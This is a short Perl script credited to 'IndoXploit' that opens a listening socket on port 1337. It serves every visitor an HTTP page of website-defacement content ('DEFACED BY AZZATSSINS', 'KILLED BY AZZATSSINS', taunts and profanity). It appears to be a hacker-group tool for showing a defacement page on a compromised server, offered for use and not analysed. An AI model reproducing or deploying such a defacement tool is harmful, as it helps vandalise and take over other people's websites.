Open Socket

#!/usr/bin/perl -w
#By IndoXploit
use strict;
use IO::Socket;

sub Wait {
    wait; # wait needed to keep <defunct> pids from building up
}

$SIG{CHLD} = \&Wait;

my $server = IO::Socket::INET->new(
    LocalPort   => 1337,    # set port
    Type        => SOCK_STREAM,
    Reuse       => 1,
    Listen      => 10) or die "$@\n";
my $client ;

while($client = $server->accept()) {
    select $client;
    print $client "HTTP/1.0 200 OK\r\n";
    print $client "Content-type: text/html\r\n\r\n";
    print $client '<meta content="DEFACED BY AZZATSSINS CYBERSERKERS" name="description"><meta content="Hacked By AZZATSSINS, Tested By AZZATSSINS, AZZATSSINS Was Here, Owned By AZZATSSINS, AZZATSSINS Come Back, Security By AZZATSSINS, Killed By AZZATSSINS, Anon AZZATSSINS, Hacker AZZATSSINS, Haxor AZZATSSINS, AZZATSSINS Fucked You, cracked by AZZATSSINS, Fucked by AZZATSSINS, Deface By AZZATSSINS" name="keywords"><title>KILLED BY AZZATSSINS</title><center><b><H1>Go ahead and try to stop me...!!!</H1><br><br><br><br><br><H2>STAMPED</H2><>'; # set your html content
}
continue {
    close($client); #kills hangs
    kill CHLD => -$$;
}